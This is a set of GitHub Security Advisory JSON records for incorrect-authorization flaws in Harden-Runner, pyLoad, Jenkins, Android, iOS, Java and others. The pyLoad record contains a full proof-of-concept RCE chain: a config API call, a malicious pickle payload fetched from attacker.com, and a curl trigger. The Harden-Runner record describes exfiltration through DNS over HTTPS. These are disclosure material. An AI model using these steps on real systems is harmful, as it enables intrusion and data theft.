CWE-863

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.15.1"
      },
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "step-security/harden-runner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T18:38:16Z",
    "nvd_published_at": "2026-03-20T05:16:13Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA vulnerability exists in the Community Tier of Harden-Runner that allows bypassing the `egress-policy: block` network restriction using DNS over HTTPS (DoH).\n\nHarden-Runner secures GitHub Actions workflows on runners by applying network policies, including an `allowed-endpoints` configuration that limits outbound traffic to specified domains and ports (e.g., `github.com:443`). In `egress-policy: block` mode, non-compliant connections are intercepted and denied. \n\nThis vulnerability exploits DoH, a protocol that encapsulates DNS queries within HTTPS requests. By crafting a DNS query that embeds exfiltrated data as a subdomain (e.g., encoding the runner\u0027s hostname into a label), an attacker can route the request through a permitted HTTPS endpoint like `dns.google` (`8.8.8.8`\u0027s DoH service). The resolver processes the query and forwards it to the attacker\u0027s controlled domain, achieving exfiltration without directly accessing the blocked destination. This evades Harden-Runner\u0027s domain-based filtering, as the initial HTTPS connection appears legitimate. \n\nThis vulnerability requires the attacker to already have code execution capabilities within the GitHub Actions workflow.\n\nThe Enterprise Tier of Harden-Runner is **not affected** by this vulnerability.\n\n## Impact\n\nWhen Harden-Runner is configured with `egress-policy: block` and a restrictive `allowed-endpoints` list, an attacker with existing code execution capabilities within a GitHub Actions workflow can bypass the allowed domains check via DNS over HTTPS by proxying DNS queries through a permitted resolver (e.g., Google\u0027s DoH service). This allows data exfiltration even when `allowed-endpoints` is set to only whitelisted domains.\n\nThis vulnerability affects only the Community Tier. It requires the attacker to already have code execution capabilities within the GitHub Actions workflow.\n\n## Remediation\n\n### For Community Tier Users\n\nUpgrade to Harden-Runner v2.16.0 or later. \n\n### For Enterprise Tier Users\n\nNo action required. Enterprise tier customers are not affected by this vulnerability.\n\n## Credit \n\nWe would like to thank [Devansh Batham](https://github.com/devanshbatham) for responsibly disclosing this vulnerability through our security reporting process.",
  "id": "GHSA-46g3-37rh-v698",
  "modified": "2026-03-20T21:21:35Z",
  "published": "2026-03-17T18:38:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/step-security/harden-runner/security/advisories/GHSA-46g3-37rh-v698"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32947"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/step-security/harden-runner"
    },
    {
      "type": "WEB",
      "url": "https://github.com/step-security/harden-runner/releases/tag/v2.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Egress Policy Bypass via DNS over HTTPS (DoH) in Harden-Runner (Community Tier)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activeresource"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.rc"
            },
            {
              "fixed": "5.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-05-21T17:46:20Z",
    "nvd_published_at": "2020-05-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible information disclosure issue in Active Resource \u003cv5.1.1 that could allow an attacker to create specially crafted requests to access data in an unexpected way and possibly leak information.",
  "id": "GHSA-46j2-xjgp-jrfm",
  "modified": "2025-03-31T17:22:29Z",
  "published": "2020-05-21T21:09:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/activeresource/commit/0de18f7e96fa90bbf23b16ac11980bc2cb6a716e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/commit/0e969bdaf8ff2e3384350687aa0b583f94d6dfbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/activeresource"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/rubyonrails-security/pktoF4VmiM8"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/P7B7A4H22DZ522HLDS3JX3NX2CXIOZSR"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Information disclosure issue in Active Resource"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-30469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:28Z",
    "severity": "LOW"
  },
  "details": "This issue was addressed through improved state management. This issue is fixed in iOS 18.4 and iPadOS 18.4. A person with physical access to an iOS device may be able to access photos from the lock screen.",
  "id": "GHSA-46jc-hp5h-cgrh",
  "modified": "2025-11-04T00:32:25Z",
  "published": "2025-04-01T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30469"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122371"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-0389"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-17T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In createSaveNotification of RecordingService.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11Android ID: A-156959408",
  "id": "GHSA-46jg-5jjh-crxw",
  "modified": "2022-05-24T17:28:47Z",
  "published": "2022-05-24T17:28:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0389"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2020-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-21502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:15Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u431-perf, 11.0.25, 17.0.13, 21.0.5, 23.0.1; Oracle GraalVM for JDK: 17.0.13, 21.0.5, 23.0.1; Oracle GraalVM Enterprise Edition: 20.3.16 and  21.3.12. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as  unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).",
  "id": "GHSA-46mv-5cpj-wjxv",
  "modified": "2025-02-07T12:31:13Z",
  "published": "2025-01-21T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21502"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250124-0009"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/01/25/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-30T18:52:28Z",
    "nvd_published_at": "2018-03-13T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability exists in Jenkins Git Plugin version 3.7.0 and earlier in GitStatus.java that allows an attacker with network access to obtain a list of nodes and users.",
  "id": "GHSA-46p2-fwqg-3h6m",
  "modified": "2022-06-30T18:52:28Z",
  "published": "2022-05-13T01:48:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/git-plugin/commit/a3d3a7eb7f75bfe97a0291e3b6d074aafafa86c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/git-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-02-26/#SECURITY-723"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect Authorization in Jenkins Git Plugin"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-24783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-08T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Post Expirator WordPress plugin before 2.6.0 does not have proper capability checks in place, which could allow users with a role as low as Contributor to schedule deletion of arbitrary posts.",
  "id": "GHSA-46rg-rhmq-hq2r",
  "modified": "2022-05-24T19:19:58Z",
  "published": "2022-05-24T19:19:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24783"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/de51b970-ab13-41a6-a479-a92cd0e70b71"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-39291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-532",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-23T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "Certain NetModule devices allow credentials via GET parameters to CLI-PHP. These models with firmware before 4.3.0.113, 4.4.0.111, and 4.5.0.105 are affected: NB800, NB1600, NB1601, NB1800, NB1810, NB2700, NB2710, NB2800, NB2810, NB3700, NB3701, NB3710, NB3711, NB3720, and NB3800.",
  "id": "GHSA-46vv-mmqm-cfv8",
  "modified": "2022-07-13T00:01:37Z",
  "published": "2022-05-24T19:11:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39291"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2021/Aug/22"
    },
    {
      "type": "WEB",
      "url": "https://www.netmodule.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:43:37Z",
    "nvd_published_at": "2026-04-07T15:17:44Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask\u0027s filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** \u2014 Change download directory to Flask session store:\n\n    POST /api/set_config_value\n    {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** \u2014 Compute the target session filename:\n\n    md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** \u2014 Host and download the malicious pickle payload:\n\n    import pickle, os, struct\n    class RCE:\n        def __reduce__(self):\n            return (os.system, (\"id \u003e /tmp/pyload-rce-success\",))\n    session = {\"_permanent\": True, \"rce\": RCE()}\n    payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n    # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n    POST /api/add_package\n    {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** \u2014 Trigger deserialization (unauthenticated):\n\n    curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n    $ docker exec pyload-poc cat /tmp/pyload-rce-success\n    uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n    ADMIN_ONLY_OPTIONS = {\n        ...\n        (\"general\", \"storage_folder\"),  # ADDED: prevents session poisoning RCE\n        ...\n    }\n\nAlso correct the existing wrong option names:\n\n    (\"webui\", \"ssl_certfile\"),  # FIXED: was \"ssl_cert\" (dead code)\n    (\"webui\", \"ssl_keyfile\"),   # FIXED: was \"ssl_key\" (dead code)",
  "id": "GHSA-4744-96p5-mp2j",
  "modified": "2026-04-07T20:00:04Z",
  "published": "2026-04-04T06:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33509"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-9492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-02T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "In checkGrantUriPermissionLocked of ActivityManagerService.java, there is a possible permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android-8.0 Android-8.1 Android-9.0 Android ID: A-111934948",
  "id": "GHSA-4754-5j9c-773m",
  "modified": "2022-05-13T01:21:07Z",
  "published": "2022-05-13T01:21:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9492"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/962fb40991f15be4f688d960aa00073683ebdd20"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2018-10-01,"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105484"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}